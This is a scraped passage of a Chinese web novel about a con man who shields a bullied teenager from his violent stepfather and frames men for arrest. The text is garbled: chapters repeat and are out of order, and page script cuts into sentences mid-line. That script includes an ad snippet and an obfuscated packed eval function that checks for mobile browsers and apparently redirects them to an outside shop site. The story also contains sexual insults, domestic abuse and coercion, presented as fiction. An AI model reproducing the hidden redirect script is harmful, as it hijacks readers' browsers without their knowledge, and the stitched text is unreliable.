/p> 傅生弯着眼睛:“5000怎么样?” 王律的妈妈愣了一下。 看牙可用不了这么多钱,顶多1500。 王律看到了他妈脸上的松动,抓紧碰了一下:“妈?我要道歉我要道歉。” 这种让陆离当着全校的面跟他道歉的事,这辈子可能就这一次,这可以够他在学校里吹好几年的。 王律他妈不怎么坚定地开口:“这是钱的事吗?” 傅生笑了一下:“一万。” 学生堆里出现倒抽气声。 王律妈眼睛都亮了,但还是咳嗽一声说:“我们就是想要一个交代。” 傅生眼睛都不眨地加价:“一万五。” 教导主任喝了一口水差点呛出来。 一个牙赔这么多,疯了。 他用眼睛给傅生示意,没必要没必要,多了。 但傅生叹息了一下,“不够啊,那两万怎么样?” 下面学生瞬间像被煮沸了的饺子:“!!!” 靠!好帅。 王律他妈怒气消失了,整个人都挂上和蔼的笑:“小孩子吗在学校里磕磕碰碰的很正常,我们当大人的怎么好意思和孩子计较。” 王律皱着眉在旁边抗议:“妈!我不要钱,我就要道歉。” “砰”的一声,他妈一巴掌打在他的后脑勺上,呵斥道:“你知道两万是多少钱吗?” 2010年的一万五,对于普通家庭来说,虽然不是天价数字,却也是一家人一年的开支。 王律妈妈又笑着看向傅生,和刚才的态度简直是判若两人:“请问您是陆离的什么人?” 什么人舍得花这么多钱,只是为了不想道歉? 傅生始终保持着那种好脾气的姿态,他没有直接回答王律妈的话,“既然医药赔偿的事解决了,我们再谈谈其他问题。” “什么问题?”王律妈妈问。 “陆离是孤僻了些,但也不是随便打人的人,”傅生说,“我想知道那天发生了什么让他动手打人?” 王律说:“我就在他门口经过而已 。” 傅生看着他:“是吗?” 被那双眼睛盯着,王律有些心虚,却还是梗着脖子说:“是。” 王律妈妈也抓紧道:“是啊,我家孩子平时可老实了。” 这话一出,下面的学生就发出嗤笑。 傅生也笑了一下,只是笑意不达眼底:“确定吗?说谎的话,赔偿可没有了。” 王律的妈妈心说,我家孩子就算再缺心眼也不可能当众说实话。 她抬头看向王律,却见王律刚刚看傅生时还不忿的眼睛逐渐迷茫,像是困倦了一样,接着他张了张口。 “我那天就是专门去找他的事的。想让他难堪。” 傅生眼睛冷下来,接着道:“你都干了什么?” “我——”王律只是挣扎了一下,却没抵住那股眩晕,把那天的事从头到尾的描述了一遍。 数不清的脏话和不堪入耳的词在王律嘴里吐出来。 王律妈拉着他,尖声道:“王律你说什么呢,你疯了!” 学校的领导变了脸色,不相信这些词是从一个学生嘴里说出来的。 傅生听到最后,冷着脸看向他们,声如寒潭:“现在我是不是也需要个交代,还是说你们以为陆离没人管,可以随意欺负?” 20. 第 20 章 “这么多钱你就这样给他了?”蒋文听着就心疼。 傅生看他一眼:“你觉得我是这么大方的人?” “不是。”蒋文斩钉截铁地说。 傅生笑了,他刚开始就没打算拿这个钱,一个骗子的话怎么能信? 而且、眼睁睁地看着到嘴的钱飞走的滋味比一开始还没有得到更让人生气。 蒋文激动地说:“后来呢后来呢,学校怎么处理的这件事。” 在傅生黑脸之后,学校领导不知是出于他的财大气粗,还是学校风评,甚至找来了学校校长出面。 他们对傅生再三保证一定会给这件事一个交代,通报批评一个都少不了,还有给陆离道歉。 傅生看向蒋文,决定满足他的好奇心。 “王律同学的妈妈最后黑着脸离开的,估计回家以后,王律同学可以吃一顿美餐——” 蒋文讶然:“什么美餐?” 惹了事竟然还能吃美餐。 傅生弯着眼睛:“铁棍炖猪肉。” 蒋文:“……” 挨揍就挨揍,说这么高深。 他的眼睛在四周环顾了一圈,“咦?今天的主角呢,我还想问问陆离当时的心情呢?” “在楼上呢,”傅生说,“不过我建议你现在最好不要找他。” 蒋文:“啊,为什么?” 傅生目光移向楼上的方向,眼睫动了一下。 陆离自从在学校里回来,就一直将自己关在房间里。 他大概知道是为了什么。 * 本以为古董店能过几天的消停日子。 第二天,赵国强就找上门来, 他站在门口,喊道:“谁是老板?老板出来。” 傅生听着门口的动静皱了眉。 蒋文在沙发上心虚地露出头:“我靠,不会是上次打他的事被发现了吧。” “应该不是,”傅生眯了一下眼,上次他刻意地改变过声音,按照赵国强的智商,觉察出来很难。 门外还在喊:“他妈的说是老板。没人老子几进去了。” 傅生朝着蒋文说:“将人接进来。” 蒋文点头,跑到门口十分不爽道:“别嚎了,你有事?” “你就是老板?”赵国强喝得醉醺醺地问,说着还打了一个酒嗝。 蒋文嫌弃地用手扇了扇:吃啥了这是,这味道大的哦。 他提高声音说:“我不是,老板在房间里等着你呢。” 赵国强一听,冷哼两声:“这还差不多。” 他走进门,看着傅生盘着腿坐在沙发上,他哎了一声,接着眯着眼睛伸着头凑近瞥了几眼:“你就是老板?我是不是什么时候见过你?” 傅生看着他。 赵国强拍了一下脑袋,恍然说:“我知道了,你是不是住楼上的那个男的。” 他说着,眼睛在店里瞥了几眼,粗着声音说:“真是稀奇,你这么有钱,还去我们楼上租房子住?钱多骚得是吧?” 傅生淡淡地看着他,半晌问:“你这次来有什么事?” 赵国强这才想起这次来的目的,他重重地咳了一声:“我听说我儿子在你这里?我来找我儿子。” 说着他耸着鼻子抬头朝着楼上喊:“儿子,陆离,小杂种,你爹来了,还不快下来。” 蒋文脸上的嫌弃更浓了,他拦着人说:“陆离不在,你小声点,我们还在做生意呢。” “做什么生意,我找我儿子,”赵国强说,“你们是不是把他藏起来了。” 傅生看着赵国强在店里耍酒疯,半晌才开口,“陆离在学校,有什么话就直接说吧。” 这个点,只要是有点常识的人,都知道学生应该在学校。 赵国强闹这么一出很显然是来找他的。 “不愧是老板,就喜欢你这种敞亮的人,”赵国强眯着眼说,“我养了这么多年的儿子突然让你拐走了,你是不是得给我点报酬之类的。” “报酬?”傅生都要被这个男人逗笑了,“你觉得多少。” 赵国强竟然真的在思考这个问题,他想了想比了一个数字:“八千怎么样。” 傅生听着在心里冷笑一声,从小到大花在陆离身上的钱有八千吗? 但还不等傅生回答,赵国强的眼睛在古董店贪婪地看了一圈,他又反口:“八千不行。” 他凑近傅生,比画了一个数字:“我听说你们这些有钱人有一些什么癖好,不如这样,我把这个兔崽子直接卖给你,你想做什么做什么,我只要两万块怎么样?” 傅生低着头看他的眼睛逐渐沉了下去,须臾又露出个冷笑:“这个我做不了主,不如问问你身后的人。” “谁?”赵国强皱着眉,回头看着陆离斜挎着书包站在门口。 “哎哟儿子回来了,”赵国强龇着牙看他。 陆离抓着书包带的手紧了一下,又径直地越过赵国强。 傅生说:“看来你做不了主。”他转身,冷漠地说,“蒋文,请他出去。” 赵国强本来就是抱着拿钱的心思来的,钱没拿到,他怎么甘心走。傅生他不敢动,目光就转向了陆离。 “操、你妈的,几天不见,敢给你爹甩脸子了是吧。”赵国强一把抓住了陆离的书包带。 陆离遮下乌黑的眼睛,冷着声音说:“松开。” 蒋文偷偷在傅生身后,压低声音问:“要不要去帮忙。” 傅生棕色的眸子看着不远处的两个人:“不用。” 赵国强嘴里骂骂咧咧地:“翅膀硬了是吧,又忘了你妈了?你妈被我按在地上草的时——” 他话没有说完,措不及防被黑色的书包啪地一下子甩过来打在脸上。书包里沉甸甸的,装着好几本书,赵国强瞬间被那股力道带到了地上。 陆离像是这么长时间积压的怒气终于压不住了,一拳打在赵国强头上。 赵国强想反抗,却因为喝醉的身体不受控制,只能勉强抱着自己的头。 那劲就只是看着都疼,蒋文在一旁嘶了一声,对着傅生说,“这样下去,会不会不太好啊?” 傅生却没有动,他看着陆离发泄似的挥着拳头,有点难受。 半晌他才走过去,缓声说:“好了,别打了。” 只是陆离却像是听不到一样,他脸上明明冷静得要命,不看手下的动作,不会有人想到他在向死里打人。 “陆离——”傅生抬高声音,一下子抓住了他的胳膊,“别打了。” 蒋文也过来抱住陆离的腿:“祖宗,再打就出人命了。” “你再提我妈试试。”陆离眼睛发红,瞪着赵国强。 赵国强的酒醒得差不多了,他咧着嘴笑着,牙上全是血,对着陆离比了比口型:“我-草-你-妈。” 陆离抿着唇挣扎着要过去,傅生手抓着人,对着赵国强冷声道:“不想死,就滚。” 他这次没有刻意压低自己的声音, 赵国强听到这个声音愣了一下,半晌才倏然反应过来:“你——那天绑我的那个人,”半晌,他倏然又嘿嘿地笑了起来,“我就说声音怎么这么熟悉。” 他在地上爬起来,眼神逐渐阴狠:“陆离,你可以啊,找人打你老子,以为傍上一个大款就能逃离我了?你别忘了,你跑得了,还有你妈呢,她跑得了吗?” 陆离脸色阴沉,刚压下去的情绪又翻腾起来,蒋文怕再这么闹下去出事,拿起一旁扫帚对着赵国强扫了过去。 “还不滚?” 赵国强可能想起来了那天被人殴打的滋味,撂下句狠话看着蒋文快速地跑出了古董店。 店内气氛和往常不一样,现在天气转凉了,房间内那块装饰用的壁炉被蒋文点上了火。 他有一搭没一搭地填着柴火,看着后面两个人都参禅一样坐着。 好半晌,他没忍住才开口道:“陆离,你妈妈自己 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 在家里没事吧,要不要——” 只是话没说完,他就看到傅生不冷不淡地瞥了他一眼。 蒋文咬了一下唇,觉得自己可能说错话了,抓紧闭嘴。 傅生收回目光,对着陆离说:“上楼休息吧,剩下的事明天再说。” 陆离脸上没什么反应,好半晌才嗯了一声,然后转身上楼。 蒋文抬头唏嘘:“这孩子真是地狱开局,没事吧?别给孩子再整抑郁了。” “行了,别伤春悲秋了,” 傅生盯着楼梯上挺直却又显得单薄的背影,半晌才移开,淡声道:“你也去睡吧。” 说完,他也转身上了楼。 走到门口的时候,他发现陆离没进屋,站在门口,一双乌黑地眸子就这样看着他。 晚上的灯光有些暗,他的眼睛里像是蒙了一层雾。 傅生走过去:“怎么了?” 陆离说:“你说——我妈妈她会有事吗?” 傅生手指动了一下,他没回答陆离的问题,开口说,“想做什么,你都可以直接告诉我。” 陆离紧抿了一下唇,攥着手指,想说什么。 最终想说出口的话成了,“没什么,我要睡了。” 傅生站在门口,叹了口气。 说出去可能没人信,国际知名诈骗犯在为了小时候的那个自己不肯说实话伤脑筋。 * 半夜两点。 原本在床上应该熟睡的陆离倏然睁开眼。 他在床上躺了一会,接着坐起来,在黑暗中打开了古董店的门。 他穿过长长的巷子,然后走进了一个老旧的楼房,刚打开门,一个花瓶就朝着他扔了过来。 “滚——”一个女人喊道。 陆离收拾了花瓶,进屋打开灯,一个女人披头散发地坐在沙发上。 四周都是垃圾,还有吃饭的外卖盒,陆离一言不发地将她周围收拾干净。 “陆离——你到底想关我到什么时候?”女人抬头,露出带着浓重黑眼圈的眼睛,正是苏梅。 陆离收拾东西的手没停,只是低声说:“再等等。” “你放我出去,”苏梅大声吵闹,“我要去见赵国强,你凭什么关着我。” 陆离将手上的东西重重地摔在地上,“天天被他打,你就这么离不了他。” “我就是贱,我就是离不了他,”苏梅眼睛里都是恨意,“要不是你,他才不会这么对我,都是因为带着你这个拖油瓶。” 陆离抿着唇不说话。 苏梅朝着他大吼:“你怎么不和你亲爹一样,一起去死。” “好,我死,”陆离冷着声音,平静得不像十五岁的少年,他说,“等解决了赵国强,我和你一起去死。” 苏梅倏然哈哈大笑起来,陆离对于苏梅这种发疯行为已经习以为常,只是这次不一样,她笑着笑着倏然停了下来。 陆离皱了一下眉,看着身后的地板上投过来一道身影。 那道身影愣了须臾,才开口:“一直不愿意给我讲就是因为这个?” 可能是灯光比较暗,夜晚又太冷,那道声音竟然有几分温和。 陆离没回头,手指捏着手中的易拉罐的瓶子,缓慢地用力,直到易拉罐变形。 “是,”陆离垂着眼睛说,“后悔把我带回家了吧。” 他在见傅生的第二面,就已经盘算着怎么接近他,怎么利用他,利用他摆脱赵国强和姜龙。 他就是——这么恶劣的人。 陆离以为自己是冷血孤僻的,周围没有他在意的人和事,但这句话说出来的时候,心却像被什么抓住了。 他睫毛颤动,像是等着审判的囚徒。 结果,审判没等到,身后传来了一道很低的轻笑。 不知道是不是错觉,在这静寂的房间里,那道低沉的声音被衬得竟然有几分宠溺。 陆离:“?” 这是被他气疯了? 23、下章入v 两个人离得近,傅生温沉的声音似乎就在他耳边。 陆离的睫毛小幅度地颤了几下。 “可以。” 好半晌,他才开口。 傅生疑惑地嗯了一声。 陆离看着他,认真地说:“长大了也可以。” 傅生收回手笑了。 “哎哟,”蒋文站在一旁,看热闹一般凑过来,“傅生一直说你闷,这不是也不闷。来,让你蒋文叔叔也捏一下。” 说着,他就抬起手,意图在老虎脸上拔毛。被老虎乌黑的眼睛冷冰冰地瞪了一下。 蒋文悻悻地收回手,小声地嘟囔:“你这个小鬼还听双标,傅生可以我就不可以了?” 陆离转身回屋。 耳垂上漫上了一层薄红,被落山的夕阳一照,格外显眼。 * 刘芳处理事情的速度就是快。 不过两天,傅生就听到了赵国强入狱的消息。 傅生挑了一下眉:“怎么进去的?” “敲诈勒索。”蒋文将自己打探来的消息绘声绘色地和傅生讲了一遍,“陆离这个继父胆子是真的大,竟然直接去截了郑顺昌的车。拿着不知道从哪里弄来的农民工的钱包和身份证直接问郑顺昌要了三百万。” 傅生说:“郑顺昌报的警?” “我听说是他夫人报的警,”蒋文说,“当时郑顺昌的脸色超级难看。” 傅生眼睛动了一下,然后扯过搭在沙发上的黑色外套,开口道:“我出去一下。” “去哪里?”蒋文对于傅生的反应很不爽,他说,“不是,你怎么一点反应也没有?” “反应,恭喜发财?”傅生很敷衍地说了一句,穿上外套向外走时候突然想起来什么说,“放学的时候记得替我接一下陆离。” 蒋文:“……” 他这一天天地不知道替谁操这么多心。 * 咖啡馆。 傅生去的时候,刘芳看起来已经到了一会了。 他很抱歉地走了过去:“抱歉,久等了。” “没事,”刘芳将头发两边的碎发向耳后别了一下,“给你点了美式,可以吧。” “都行,”傅生拉过旁边的椅子,“你今天看起来状态不错。” 刘芳笑了一下,眼底下的黑眼圈也没有了,整个人容光焕发,“一个男人而已,不值得我这么伤神。傅先生,我已经按照你说的照办了,接下来再干什么?” 赵国强诈骗是傅生让刘芳故意安排人去他面前演了一出戏,就算最后捡到那么大的证物,他都没有怀疑一下,直接去拦了郑顺昌的车。 或者,他怀疑了,但是最终金钱的诱惑盖过了理智。 “现在,郑顺昌怎么说?” 刘芳:“他现在正恼火着呢,工地上发生命案并不是只有这一次,那个农民工的身份证也不是随意拿的。” 傅生笑了:“看来刘女士早就提前给自己留好了后手。” “行了,你也别取笑我了,”刘芳说,“你的意思是你假扮成律师去见郑顺昌。但他怎么相信你。” 傅生说:“我相信刘女士有能力让他相信。前几天农民工坠亡事件,导致公司股市暴跌,我想郑先生最近一定愁的焦头烂额吧。” 刘芳的眼神带上笑意:“傅先生,如此能力怎么甘心做个骗——”她一顿,继续说,“在古董店当个闲散老板?” 傅生喝了一口咖啡,不太在意地说:“谋生而已。” 刘芳笑了一下,半晌,她起身伸出手:“傅先生,合作愉快。” “合作愉快。刘女士。” * 陆离最近几天都看见傅生的身影,就算见到了也只是匆匆打个照面。 “傅生在家的时候还说几句话,现在直接成哑巴了。” 蒋文在一旁非常欠地打趣。 陆离不理他,打开电视。 电视上正播放着今日的新闻。 “本市著名建筑公司恒水建筑董事长于今日落网,其资产会由其妻子刘芳女士接手。本市记者方晶为您报道。” 陆离看着这个集团的招牌,眼睛动了一下,看向蒋文:“你们最近在干什么?” “我这不是在家呢。”蒋文一边嗑着瓜子一边说,抬头的时候看到陆离黑黝黝的眸子直勾勾地看着自己。 他这才恍然大悟地哦了一声:“你是想问傅生吧。他最近——” 陆离看着他。 蒋文话到嘴边倏然想到什么,拐了个弯说:“大人的事小孩子别打听。” 陆离绷着唇角看了他一会,关上电视,转身上楼。 就在这时,门外传来了轻微的脚步声。 这种不紧不慢的慵懒劲,他就见过一个,陆离回头,果不其然,傅生穿着黑色的长外套迈着长腿进门。 “现在要睡了?”傅生看着台阶上的陆离。 陆离摇头。 傅生身上带着寒气:“那刚好,跟着我出去一趟。” 陆离不知道傅生带他去哪里,他也没问,直到眼下的路越来越熟悉,接着映入眼帘的是那栋破旧的居民楼。 陆离看向傅生,不明白来这里做什么。 他自从上次从居民楼走后,就再也没有回过这里。路上的邻居他都给了钱,每天三顿给苏梅送饭就行。 他还记得刚开始的时候,邻居惊讶地看着他:“为什么不自己送过来?还要花这个冤枉钱。” 陆离说自己没时间。 与其说没时间,不如说是逃避。 他自己也分不清对苏梅什么感情,这么多年亲情早已经被消磨殆尽了,只剩下一点血脉勉强地连着。 “总得解决。”傅生低声说,眼睛看向楼道里。 几个穿着白大褂的医生在里面出来,身后还有被护士牵制住的苏梅。 陆离看着披头散发,甚至可以称之为疯子的女人,眼睛都没有眨一下。 傅生说:“这是市里有名的精神治疗中心,你”他一顿,继续说,“你妈在那里面比在这里要好一点。” 拼命挣扎的苏梅抬头刚好看到站着的两个人,她眼眶通红看着陆离,嘶哑地吼道:“畜生,将你亲妈送进精神病院。” 几个男医生一起上才牵制住她。 苏梅目眦尽裂瞪着他:“我生你,我生你下来,你把我害成样子。你不得好死陆离,你和你爹一样,不得好死陆离。” 陆离面无表情地走过去,在女人癫狂的眼神中,对着身边的医生说:“需要签字是吗。” 他表情太冷静了,像是置身事外,让医生都愣了一下。 “啊,”好半晌医生再拿出来一个合同单,“签在这里就行。” 陆离划下最后一划,再也没有看苏梅一眼。 直到苏梅被抬上救护车,傅生在他肩膀上轻轻拍了一下。 “怪我擅自做主吗?” 陆离摇了摇头,无论对苏梅还是对他都是最好的选择了。 远处的风吹过来,一大一小站在风口,同样修长挺拔。 陆离低头,看着自己的校服和傅生的衣摆纠缠在一起,睫毛动了一下。 至此,十五年的岁月如天边暮色,尘埃落定。 傅生扭头,逗人似的地开口:“怎么还板着脸,天天这么严肃,以后怎么找女朋友。” “傅生。”陆离突然开口。 傅生在他头上轻拍了一下:“叫哥。” 陆离抿唇,没喊出那个哥,他憋了半晌才开口:“你上次说要交底,我的秘密你现在全部知道了,那你呢?” 从第一次傅生见他,眼神就全然不像是看陌生人。 他的眼睛极轻地眨了一下:“你是不是早就认识我?” 或者,不仅是认识。 还有什么更深的牵连 陆离看着傅生,执拗的想知道一个答案。 傅生看着那双眼睛叹了一口气。 小孩子过分聪明了也不好。 22. 第 22 章 蒋文看着傅生坐在沙发上,手捏着眉心,没什么精神地坐着,开始幸灾乐祸。 “活该,谁让你们大半夜不睡觉。” 他说到这里有想起来陆离早晨的状态,疑惑道,“昨天你们明明一起回来的,陆离精神怎么就这么好,你就像是被女鬼吸了阳气似的。你俩也就差五岁吧。” “.......” 傅生将手指拿开,冷淡地瞥了蒋文一眼。 就在这时,口袋里的电话嘟嘟响了几声。傅生看了一下手机屏幕,是陌生的号码。 “你好,”傅生开口。 对面传来一道沙哑的女声:“傅生?” 傅生的眉挑了一下:“刘芳女士?” “嗯,”刘芳说,“抽空见一面?” 傅生:“可以,我什么时候都行。” 两个人还是约到了之前的咖啡馆,刘芳这次没有化妆,看上去憔悴了很多。 傅生喊着服务员点了两杯咖啡,客客气气地看着人说:“刘女士这两天看上去过得不太好啊。” “上次你说的,”刘芳说,“我同意了。” 傅生对于这个结果毫不意外。 他说:“能多问一句是什么让你改变想法的吗?” 刘芳低着头,手指捏着咖啡的杯子,头发散落在两边。 好半晌才开口:“那天回家之后,我找人跟踪了郑顺昌。” 傅生说:“看来结果不尽如人意。” “呵,”刘芳冷笑了一声,“若是只是转移点钱财我还能睁一只闭一只眼,但是郑顺昌竟然想杀了我。” 傅生早就知道了这件事,脸上并没有露出多少表情。 他低头喝了口咖啡,上一世,建筑集团董事长夫人出车祸抢救无效死亡这件事,在北川这边的影响还挺大的。 “既然如此,”傅生说,“定下时间?” 刘芳到底是商人出身,很快她眼中悲伤消失,取而代之的是商人的精明:“你要多少?” “不多,”傅生喝了口咖啡,淡声说,“你最后得到的30%。” 刘芳皱眉,“傅先生,有点狮子大开口了吧。” “刘女士一条命难道还不值30%?”傅生反问开口。 刘芳咬着唇思考这件事。 傅生向后靠了一下,姿态慵懒地说:“当然我可以降10%,不过,刘女士要帮我个忙。” 10%可不是一笔小数目,刘芳开口:“什么忙?” 傅生:“帮我解决一个人。” 刘芳开口:“杀人越货的事我不干。” “怎么可能,我也是良好公民,”傅生笑着十分温良,“只要他再也不会出现在北川这边就好。” 这就没有可以顾及的了,刘芳没有犹豫:“成交。” 傅生将手中的咖啡杯放下:“合作愉快。” “警察同志,就是这里。” 回到古董店的时候,还没进门,就看到古董店门口停着一辆警车,赵国强领着几个警察指着里面。 这么快就来了? 傅生唇角勾了一下,走了过去,对着穿着制服的警察说:“你好,请问你们有什么事?” “你就是这个古董店的老板?”警察看着严肃地问。 傅生始终一副好说话的样子:“是我,怎么了?” “接到人举报,”警察说,“说你拐了他的儿子。有没有这个事?” “拐了他儿子?”傅生笑了,“各位警察先生,这可就太冤枉人了,我从哪里拐卖了这位先生的儿子。” 警察上下打量了一圈傅生,见人长相英俊,穿着富贵,家里还开着古董店,确实不像是拐卖人的样子。 反观赵国强,眼神迷离浑浊,警察看着人问:“你儿子叫什么?” “陆离,”赵国强说,“我儿子好几天没有回家了,前几天我在他这里看到了我儿子。你们一定要帮我做主啊。” “陆离啊。”傅生恍然大悟地开口。 赵国强抓紧说:“你们看。就是他。” 警察问:“怎么,你真的认识?人呢?在哪里?” “陆离确实在我这里住,法律不允许吗?这个时间——学校里还没有放学,”傅生将袖口挑起来一点,看了眼手表,对着警察温雅一笑,“估计还得等会儿,要不要去里面喝会茶。” “你们看你们看,他承认了,你们快将他抓起来。”赵国强扯着嗓子在一边嚎。 警察却没有搭理他,再看向傅生时强硬的态度缓和了一点:“傅先生,介不介意我们去看看陆离住的地方。” “可以,”傅生对着警察做了一个请的动作。 蒋文听见动静,探出头来,看到这么多警察,他吓了一跳,第一反应就是跑。但很快他就反应过来,他最近又没有做亏心事。 他对着警察先是狗腿地笑了笑,接着凑到傅生身边小声地问:“警察来干什么?” “去看陆离的房间。”傅生没有刻意压低声音。 蒋文刚开始还对着傅生摆手,小声点哥。但反应过来傅生说的什么,他脑袋上缓缓地冒出一个“?” 这警察什么癖好。 警察:“……” 这人说话真是,但是好像没有说错,确实是看陆离的房间。 警察跟着傅生上了二楼,只站在门口看了一眼,他们神色就有点难绷。 房间整洁干净,设计感十足,里面的家具都是刚流行的高档货。 这住宿条件能叫拐卖? 不过出于职业素养,他们还是非常谨慎地跟学校拨打了电话,班主任直接将手机给了陆离。 “十分抱歉,”下楼的时候,警察对傅生说,“耽误你们时间了。” 傅生说:“没关系,配合警察工作是我们应该的。”说完,他又装作无奈地补了一句,“我和楼下那位先生前几天有点矛盾,对不住,干扰你们工作了。” 这么一说,还有哪里不明白的。 警察说:“没关系傅先生,不是你的错。” 赵国强站在门口,看见警察带着傅生出来,十分不爽 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13810267|146085||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 地说:“你们怎么不把他抓起来?你们就这么办事的?” 两边态度一对比,立见高下。 一名警察冷着脸,严肃地看向赵国强:“这是第一次,就不与你追究责任了,下次再报假警,后果自负。” 赵国强傻眼了,对着傅生骂了句草。 警察大声呵斥:“文明用语不知道?” 直到两边的人都走了,蒋文在旁边捧着肚子,差点笑得背过气去:“你看见刚才赵国强的脸色了吗?笑死我了。我不行了。” 傅生弯了弯唇角。 两个人坐在院子里,这时,冷着脸的陆离挎着包在外面回来了。 “你们在干什么?” “今天怎么放学这么早?”傅生看了看日头还挺高,按理说还等两小时。 陆离嗯了一声,将书包放在一边。 其实今天放学不早,他只是请了假。上着课的时候,得知赵国强带着警察去了古董店,他就学不下了。 陆离看向院子里的人。 傅生身上没伤,古董店也没受到什么拖累,直到此刻,陆离一直提着的心地才放了下来,他嘴唇动了动。 傅生坐在院子里的躺椅上:“想说什么就说。” “赵国强来过了。”陆离问。 傅生:“来过了。” 陆离想说下次再来告诉他,但是话到嘴边又咽了下去。 告诉他也没什么用。 他什么也做不了。 陆离唇角平直,垂眸看着自己的指尖。 傅生眉心颦了一下。 陆离总是闷着,有什么话都不喜欢说出来,而他却知道陆离在想什么。 所以他总想多逗逗人。 院子里一时间没人说话。 巷子里却开始热闹起来,放学的时间,一个女孩和一个小男孩从古董店门口过去。 原本两个人一前一后,小女孩却不知道想到了什么,一个箭步就跑到小男孩旁边,接着嘿嘿笑了一下,用手在他脸上重重地一拧。 小男孩疼得嘶地一声:“你干什么!” “打你啊,”小女孩理直气壮地说:“我妈妈说,等你长大了我打不过你了。” 小男孩不知道这是什么逻辑,哭着说;“我去会告诉我妈妈。” 小女孩说:“告状鬼,你要是去就不跟你玩了。” 很快两个小鬼都跑不见了。 巷子里重新安静下来。 陆离抿着唇,刚想转身回房间,结果猝不及防,一只修长冷白的手伸过来在他雪白的脸上捏了下。 力道不大,似乎只是逗他。 陆离不像同龄人那样介于小孩和少年之间婴儿肥,恰恰相反,冷白的脸上已经有了凌厉的线条。 不可否认的是,确实很好摸。傅生没忍住多捏了两下。 “……” 陆离绷着脸看向始作俑者。 “年龄小才好欺负,”傅生没有一点罪魁祸首的自觉,反而弯着眼睛说,“等再大点,就欺负不到了。” 23. 下章入v 两个人离得近,傅生温沉的声音似乎就在他耳边。 陆离的睫毛小幅度地颤了几下。 “可以。” 好半晌,他才开口。 傅生疑惑地嗯了一声。 陆离看着他,认真地说:“长大了也可以。” 傅生收回手笑了。 “哎哟,”蒋文站在一旁,看热闹一般凑过来,“傅生一直说你闷,这不是也不闷。来,让你蒋文叔叔也捏一下。” 说着,他就抬起手,意图在老虎脸上拔毛。被老虎乌黑的眼睛冷冰冰地瞪了一下。 蒋文悻悻地收回手,小声地嘟囔:“你这个小鬼还听双标,傅生可以我就不可以了?” 陆离转身回屋。 耳垂上漫上了一层薄红,被落山的夕阳一照,格外显眼。 * 刘芳处理事情的速度就是快。 不过两天,傅生就听到了赵国强入狱的消息。 傅生挑了一下眉:“怎么进去的?” “敲诈勒索。”蒋文将自己打探来的消息绘声绘色地和傅生讲了一遍,“陆离这个继父胆子是真的大,竟然直接去截了郑顺昌的车。拿着不知道从哪里弄来的农民工的钱包和身份证直接问郑顺昌要了三百万。” 傅生说:“郑顺昌报的警?” “我听说是他夫人报的警,”蒋文说,“当时郑顺昌的脸色超级难看。” 傅生眼睛动了一下,然后扯过搭在沙发上的黑色外套,开口道:“我出去一下。” “去哪里?”蒋文对于傅生的反应很不爽,他说,“不是,你怎么一点反应也没有?” “反应,恭喜发财?”傅生很敷衍地说了一句,穿上外套向外走时候突然想起来什么说,“放学的时候记得替我接一下陆离。” 蒋文:“……” 他这一天天地不知道替谁操这么多心。 * 咖啡馆。 傅生去的时候,刘芳看起来已经到了一会了。 他很抱歉地走了过去:“抱歉,久等了。” “没事,”刘芳将头发两边的碎发向耳后别了一下,“给你点了美式,可以吧。” “都行,”傅生拉过旁边的椅子,“你今天看起来状态不错。” 刘芳笑了一下,眼底下的黑眼圈也没有了,整个人容光焕发,“一个男人而已,不值得我这么伤神。傅先生,我已经按照你说的照办了,接下来再干什么?” 赵国强诈骗是傅生让刘芳故意安排人去他面前演了一出戏,就算最后捡到那么大的证物,他都没有怀疑一下,直接去拦了郑顺昌的车。 或者,他怀疑了,但是最终金钱的诱惑盖过了理智。 “现在,郑顺昌怎么说?” 刘芳:“他现在正恼火着呢,工地上发生命案并不是只有这一次,那个农民工的身份证也不是随意拿的。” 傅生笑了:“看来刘女士早就提前给自己留好了后手。” “行了,你也别取笑我了,”刘芳说,“你的意思是你假扮成律师去见郑顺昌。但他怎么相信你。” 傅生说:“我相信刘女士有能力让他相信。前几天农民工坠亡事件,导致公司股市暴跌,我想郑先生最近一定愁的焦头烂额吧。” 刘芳的眼神带上笑意:“傅先生,如此能力怎么甘心做个骗——”她一顿,继续说,“在古董店当个闲散老板?” 傅生喝了一口咖啡,不太在意地说:“谋生而已。” 刘芳笑了一下,半晌,她起身伸出手:“傅先生,合作愉快。” “合作愉快。刘女士。” * 陆离最近几天都看见傅生的身影,就算见到了也只是匆匆打个照面。 “傅生在家的时候还说几句话,现在直接成哑巴了。” 蒋文在一旁非常欠地打趣。 陆离不理他,打开电视。 电视上正播放着今日的新闻。 “本市著名建筑公司恒水建筑董事长于今日落网,其资产会由其妻子刘芳女士接手。本市记者方晶为您报道。” 陆离看着这个集团的招牌,眼睛动了一下,看向蒋文:“你们最近在干什么?” “我这不是在家呢。”蒋文一边嗑着瓜子一边说,抬头的时候看到陆离黑黝黝的眸子直勾勾地看着自己。 他这才恍然大悟地哦了一声:“你是想问傅生吧。他最近——” 陆离看着他。 蒋文话到嘴边倏然想到什么,拐了个弯说:“大人的事小孩子别打听。” 陆离绷着唇角看了他一会,关上电视,转身上楼。 就在这时,门外传来了轻微的脚步声。 这种不紧不慢的慵懒劲,他就见过一个,陆离回头,果不其然,傅生穿着黑色的长外套迈着长腿进门。 “现在要睡了?”傅生看着台阶上的陆离。 陆离摇头。 傅生身上带着寒气:“那刚好,跟着我出去一趟。” 陆离不知道傅生带他去哪里,他也没问,直到眼下的路越来越熟悉,接着映入眼帘的是那栋破旧的居民楼。 陆离看向傅生,不明白来这里做什么。 他自从上次从居民楼走后,就再也没有回过这里。路上的邻居他都给了钱,每天三顿给苏梅送饭就 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 